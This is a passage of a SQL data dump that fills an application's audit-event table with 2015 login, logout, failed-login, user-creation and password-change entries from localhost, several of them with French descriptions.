Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.56 Safari/537.17',NULL,NULL,NULL,NULL),(282,'2015-01-23 16:52:00','USER_LOGOUT',1,'2015-01-23 17:52:00',1,'(UserLogoff,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.56 Safari/537.17',NULL,NULL,NULL,NULL),(283,'2015-01-23 16:52:05','USER_LOGIN_FAILED',1,'2015-01-23 17:52:05',NULL,'Bad value for login or password - login=bbb','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.56 Safari/537.17',NULL,NULL,NULL,NULL),(284,'2015-01-23 16:52:09','USER_LOGIN',1,'2015-01-23 17:52:09',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.56 Safari/537.17',NULL,NULL,NULL,NULL),(285,'2015-01-23 16:52:27','USER_CREATE',1,'2015-01-23 17:52:27',1,'Création utilisateur aaa','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.56 Safari/537.17',NULL,NULL,NULL,NULL),(286,'2015-01-23 16:52:27','USER_NEW_PASSWORD',1,'2015-01-23 17:52:27',1,'Changement mot de passe de aaa','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.56 Safari/537.17',NULL,NULL,NULL,NULL),(287,'2015-01-23 16:52:37','USER_CREATE',1,'2015-01-23 17:52:37',1,'Création utilisateur bbb','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.56 Safari/537.17',NULL,NULL,NULL,NULL),(288,'2015-01-23 16:52:37','USER_NEW_PASSWORD',1,'2015-01-23 17:52:37',1,'Changement mot de passe de bbb','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.56 Safari/537.17',NULL,NULL,NULL,NULL),(289,'2015-01-23 16:53:15','USER_LOGOUT',1,'2015-01-23 17:53:15',1,'(UserLogoff,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.56 Safari/537.17',NULL,NULL,NULL,NULL),(290,'2015-01-23 16:53:20','USER_LOGIN',1,'2015-01-23 17:53:20',4,'(UserLogged,aaa)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.56 Safari/537.17',NULL,NULL,NULL,NULL),(291,'2015-01-23 19:16:58','USER_LOGIN',1,'2015-01-23 20:16:58',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.56 Safari/537.17',NULL,NULL,NULL,NULL),(292,'2015-01-26 10:54:07','USER_LOGIN',1,'2015-01-26 11:54:07',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.56 Safari/537.17',NULL,NULL,NULL,NULL),(293,'2015-01-29 10:15:36','USER_LOGIN',1,'2015-01-29 11:15:36',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.56 Safari/537.17',NULL,NULL,NULL,NULL),(294,'2015-01-30 17:42:50','USER_LOGIN',1,'2015-01-30 18:42:50',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.56 Safari/537.17',NULL,NULL,NULL,NULL),(295,'2015-02-01 08:49:55','USER_LOGIN',1,'2015-02-01 09:49:55',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.57 Safari/537.17',NULL,NULL,NULL,NULL),(296,'2015-02-01 08:51:57','USER_LOGOUT',1,'2015-02-01 09:51:57',1,'(UserLogoff,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.57 Safari/537.17',NULL,NULL,NULL,NULL),(297,'2015-02-01 08:52:39','USER_LOGIN',1,'2015-02-01 09:52:39',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.57 Safari/537.17',NULL,NULL,NULL,NULL),(298,'2015-02-01 21:03:01','USER_LOGIN',1,'2015-02-01 22:03:01',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.57 Safari/537.17',NULL,NULL,NULL,NULL),(299,'2015-02-10 19:48:39','USER_LOGIN',1,'2015-02-10 20:48:39',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.57 Safari/537.17',NULL,NULL,NULL,NULL),(300,'2015-02-10 20:46:48','USER_LOGIN',1,'2015-02-10 21:46:48',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.57 Safari/537.17',NULL,NULL,NULL,NULL),(301,'2015-02-10 21:39:23','USER_LOGIN',1,'2015-02-10 22:39:23',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.57 Safari/537.17',NULL,NULL,NULL,NULL),(302,'2015-02-11 19:00:13','USER_LOGIN',1,'2015-02-11 20:00:13',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.57 Safari/537.17',NULL,NULL,NULL,NULL),(303,'2015-02-11 19:43:44','USER_LOGIN_FAILED',1,'2015-02-11 20:43:44',NULL,'Unknown column \'u.fk_user\' in \'field list\'','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.57 Safari/537.17',NULL,NULL,NULL,NULL),(304,'2015-02-11 19:44:01','USER_LOGIN',1,'2015-02-11 20:44:01',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.57 Safari/537.17',NULL,NULL,NULL,NULL),(305,'2015-02-12 00:27:35','USER_LOGIN',1,'2015-02-12 01:27:35',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.57 Safari/537.17',NULL,NULL,NULL,NULL),(306,'2015-02-12 00:27:38','USER_LOGOUT',1,'2015-02-12 01:27:38',1,'(UserLogoff,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.57 Safari/537.17',NULL,NULL,NULL,NULL),(307,'2015-02-12 00:28:07','USER_LOGIN',1,'2015-02-12 01:28:07',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.57 Safari/537.17',NULL,NULL,NULL,NULL),(308,'2015-02-12 00:28:09','USER_LOGOUT',1,'2015-02-12 01:28:09',1,'(UserLogoff,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.57 Safari/537.17',NULL,NULL,NULL,NULL),(309,'2015-02-12 00:28:26','USER_LOGIN',1,'2015-02-12 01:28:26',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.57 Safari/537.17',NULL,NULL,NULL,NULL),(310,'2015-02-12 00:28:30','USER_LOGOUT',1,'2015-02-12 01:28:30',1,'(UserLogoff,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.57 Safari/537.17',NULL,NULL,NULL,NULL),(311,'2015-02-12 12:42:15','USER_LOGIN',1,'2015-02-12 13:42:15',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.57 Safari/537.17',NULL,NULL,NULL,NULL),(312,'2015-02-12 13:46:16','USER_LOGIN',1,'2015-02-12 14:46:16',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.69 Safari/537.17',NULL,NULL,NULL,NULL),(313,'2015-02-12 14:54:28','USER_LOGIN',1,'2015-02-12 15:54:28',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.69 Safari/537.17',NULL,NULL,NULL,NULL),(314,'2015-02-12 16:04:46','USER_LOGIN',1,'2015-02-12 17:04:46',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.69 Safari/537.17',NULL,NULL,NULL,NULL),(315,'2015-02-13 14:02:43','USER_LOGIN',1,'2015-02-13 15:02:43',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.69 Safari/537.17',NULL,NULL,NULL,NULL),(316,'2015-02-13 14:48:30','USER_LOGIN',1,'2015-02-13 15:48:30',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.69 Safari/537.17',NULL,NULL,NULL,NULL),(317,'2015-02-13 17:44:53','USER_LOGIN',1,'2015-02-13 18:44:53',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.69 Safari/537.17',NULL,NULL,NULL,NULL),(318,'2015-02-15 08:44:36','USER_LOGIN',1,'2015-02-15 09:44:36',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.69 Safari/537.17',NULL,NULL,NULL,NULL),(319,'2015-02-15 08:53:20','USER_LOGIN',1,'2015-02-15 09:53:20',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.69 Safari/537.17',NULL,NULL,NULL,NULL),(320,'2015-02-16 19:10:28','USER_LOGIN',1,'2015-02-16 20:10:28',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.69 Safari/537.17',NULL,NULL,NULL,NULL),(321,'2015-02-16 19:22:40','USER_CREATE',1,'2015-02-16 20:22:40',1,'Création utilisateur aaab','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.69 Safari/537.17',NULL,NULL,NULL,NULL),(322,'2015-02-16 19:22:40','USER_NEW_PASSWORD',1,'2015-02-16 20:22:40',1,'Changement mot de passe de aaab','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.69 Safari/537.17',NULL,NULL,NULL,NULL),(323,'2015-02-16 19:48:15','USER_CREATE',1,'2015-02-16 20:48:15',1,'Création utilisateur zzz','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.69 Safari/537.17',NULL,NULL,NULL,NULL),(324,'2015-02-16 19:48:15','USER_NEW_PASSWORD',1,'2015-02-16 20:48:15',1,'Changement mot de passe de zzz','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.69 Safari/537.17',NULL,NULL,NULL,NULL),(325,'2015-02-16 19:50:08','USER_CREATE',1,'2015-02-16 20:50:08',1,'Création utilisateur zzzg','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.69 Safari/537.17',NULL,NULL,NULL,NULL),(326,'2015-02-16 19:50:08','USER_NEW_PASSWORD',1,'2015-02-16 20:50:08',1,'Changement mot de passe de zzzg','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.69 Safari/537.17',NULL,NULL,NULL,NULL),(327,'2015-02-16 21:20:03','USER_LOGIN',1,'2015-02-16 22:20:03',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.69 Safari/537.17',NULL,NULL,NULL,NULL),(328,'2015-02-17 14:30:51','USER_LOGIN',1,'2015-02-17 15:30:51',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.69 Safari/537.17',NULL,NULL,NULL,NULL),(329,'2015-02-17 17:21:22','USER_LOGIN',1,'2015-02-17 18:21:22',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.69 Safari/537.17',NULL,NULL,NULL,NULL),(330,'2015-02-17 17:48:43','USER_MODIFY',1,'2015-02-17 18:48:43',1,'Modification utilisateur aaa','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.69 Safari/537.17',NULL,NULL,NULL,NULL),(331,'2015-02-17 17:48:47','USER_MODIFY',1,'2015-02-17 18:48:47',1,'Modification utilisateur aaa','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.69 Safari/537.17',NULL,NULL,NULL,NULL),(332,'2015-02-17 17:48:51','USER_MODIFY',1,'2015-02-17 18:48:51',1,'Modification utilisateur aaa','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.69 Safari/537.17',NULL,NULL,NULL,NULL),(333,'2015-02-17 17:48:56','USER_MODIFY',1,'2015-02-17 18:48:56',1,'Modification utilisateur aaa','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.69 Safari/537.17',NULL,NULL,NULL,NULL),(334,'2015-02-18 22:00:01','USER_LOGIN',1,'2015-02-18 23:00:01',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.69 Safari/537.17',NULL,NULL,NULL,NULL),(335,'2015-02-19 08:19:52','USER_LOGIN',1,'2015-02-19 09:19:52',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.69 Safari/537.17',NULL,NULL,NULL,NULL),(336,'2015-02-19 22:00:52','USER_LOGIN',1,'2015-02-19 23:00:52',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.69 Safari/537.17',NULL,NULL,NULL,NULL),(337,'2015-02-20 09:34:52','USER_LOGIN',1,'2015-02-20 10:34:52',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.69 Safari/537.17',NULL,NULL,NULL,NULL),(338,'2015-02-20 13:12:28','USER_LOGIN',1,'2015-02-20 14:12:28',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.69 Safari/537.17',NULL,NULL,NULL,NULL),(339,'2015-02-20 17:19:44','USER_LOGIN',1,'2015-02-20 18:19:44',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.69 Safari/537.17',NULL,NULL,NULL,NULL),(340,'2015-02-20 19:07:21','USER_MODIFY',1,'2015-02-20 20:07:21',1,'Modification utilisateur adupont','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.69 Safari/537.17',NULL,NULL,NULL,NULL),(341,'2015-02-20 19:47:17','USER_LOGIN',1,'2015-02-20 20:47:17',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.69 Safari/537.17',NULL,NULL,NULL,NULL),(342,'2015-02-20 19:48:01','USER_MODIFY',1,'2015-02-20 20:48:01',1,'Modification utilisateur aaa','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.69 Safari/537.17',NULL,NULL,NULL,NULL),(343,'2015-02-21 08:27:07','USER_LOGIN',1,'2015-02-21 09:27:07',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.69 Safari/537.17',NULL,NULL,NULL,NULL),(344,'2015-02-23 13:34:13','USER_LOGIN',1,'2015-02-23 14:34:13',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.69 Safari/537.17',NULL,NULL,NULL,NULL),(345,'2015-02-24 01:06:41','USER_LOGIN_FAILED',1,'2015-02-24 02:06:41',NULL,'Bad value for login or password - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(346,'2015-02-24 01:06:45','USER_LOGIN_FAILED',1,'2015-02-24 02:06:45',NULL,'Bad value for login or password - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(347,'2015-02-24 01:06:55','USER_LOGIN_FAILED',1,'2015-02-24 02:06:55',NULL,'Bad value for login or password - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(348,'2015-02-24 01:07:03','USER_LOGIN_FAILED',1,'2015-02-24 02:07:03',NULL,'Bad value for login or password - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(349,'2015-02-24 01:07:21','USER_LOGIN_FAILED',1,'2015-02-24 02:07:21',NULL,'Bad value for login or password - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(350,'2015-02-24 01:08:12','USER_LOGIN_FAILED',1,'2015-02-24 02:08:12',NULL,'Bad value for login or password - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(351,'2015-02-24 01:08:42','USER_LOGIN_FAILED',1,'2015-02-24 02:08:42',NULL,'Bad value for login or password - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(352,'2015-02-24 01:08:50','USER_LOGIN_FAILED',1,'2015-02-24 02:08:50',NULL,'Bad value for login or password - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(353,'2015-02-24 01:09:08','USER_LOGIN_FAILED',1,'2015-02-24 02:09:08',NULL,'Bad value for login or password - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(354,'2015-02-24 01:09:42','USER_LOGIN_FAILED',1,'2015-02-24 02:09:42',NULL,'Bad value for login or password - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(355,'2015-02-24 01:09:50','USER_LOGIN_FAILED',1,'2015-02-24 02:09:50',NULL,'Bad value for login or password - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(356,'2015-02-24 01:10:05','USER_LOGIN_FAILED',1,'2015-02-24 02:10:05',NULL,'Bad value for login or password - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(357,'2015-02-24 01:10:22','USER_LOGIN_FAILED',1,'2015-02-24 02:10:22',NULL,'Bad value for login or password - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(358,'2015-02-24 01:10:30','USER_LOGIN_FAILED',1,'2015-02-24 02:10:30',NULL,'Bad value for login or password - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(359,'2015-02-24 01:10:56','USER_LOGIN_FAILED',1,'2015-02-24 02:10:56',NULL,'Bad value for login or password - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(360,'2015-02-24 01:11:26','USER_LOGIN_FAILED',1,'2015-02-24 02:11:26',NULL,'Bad value for login or password - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(361,'2015-02-24 01:12:06','USER_LOGIN_FAILED',1,'2015-02-24 02:12:06',NULL,'Bad value for login or password - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(362,'2015-02-24 01:21:14','USER_LOGIN_FAILED',1,'2015-02-24 02:21:14',NULL,'Bad value for login or password - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(363,'2015-02-24 01:21:25','USER_LOGIN_FAILED',1,'2015-02-24 02:21:25',NULL,'Bad value for login or password - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(364,'2015-02-24 01:21:54','USER_LOGIN_FAILED',1,'2015-02-24 02:21:54',NULL,'Bad value for login or password - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(365,'2015-02-24 01:22:14','USER_LOGIN_FAILED',1,'2015-02-24 02:22:14',NULL,'Bad value for login or password - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(366,'2015-02-24 01:22:37','USER_LOGIN_FAILED',1,'2015-02-24 02:22:37',NULL,'Bad value for login or password - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(367,'2015-02-24 01:23:01','USER_LOGIN_FAILED',1,'2015-02-24 02:23:01',NULL,'Bad value for login or password - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(368,'2015-02-24 01:23:39','USER_LOGIN_FAILED',1,'2015-02-24 02:23:39',NULL,'Bad value for login or password - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(369,'2015-02-24 01:24:04','USER_LOGIN_FAILED',1,'2015-02-24 02:24:04',NULL,'Bad value for login or password - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(370,'2015-02-24 01:24:39','USER_LOGIN_FAILED',1,'2015-02-24 02:24:39',NULL,'Bad value for login or password - login=aa','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(371,'2015-02-24 01:25:01','USER_LOGIN_FAILED',1,'2015-02-24 02:25:01',NULL,'Bad value for login or password - login=aa','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(372,'2015-02-24 01:25:12','USER_LOGIN_FAILED',1,'2015-02-24 02:25:12',NULL,'Bad value for login or password - login=aa','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(373,'2015-02-24 01:27:30','USER_LOGIN_FAILED',1,'2015-02-24 02:27:30',NULL,'Bad value for login or password - login=aa','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(374,'2015-02-24 01:28:00','USER_LOGIN_FAILED',1,'2015-02-24 02:28:00',NULL,'Bad value for login or password - login=aa','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(375,'2015-02-24 01:28:35','USER_LOGIN_FAILED',1,'2015-02-24 02:28:35',NULL,'Bad value for login or password - login=aa','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(376,'2015-02-24 01:29:03','USER_LOGIN_FAILED',1,'2015-02-24 02:29:03',NULL,'Bad value for login or password - login=aa','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(377,'2015-02-24 01:29:55','USER_LOGIN_FAILED',1,'2015-02-24 02:29:55',NULL,'Bad value for login or password - login=aa','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(378,'2015-02-24 01:32:40','USER_LOGIN_FAILED',1,'2015-02-24 02:32:40',NULL,'Bad value for login or password - login=aa','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(379,'2015-02-24 01:39:33','USER_LOGIN_FAILED',1,'2015-02-24 02:39:33',NULL,'Identifiants login ou mot de passe incorrects - login=aa','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22',NULL,NULL,NULL,NULL),(380,'2015-02-24 01:39:38','USER_LOGIN_FAILED',1,'2015-02-24 02:39:38',NULL,'Identifiants login ou mot de passe incorrects - login=aa','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 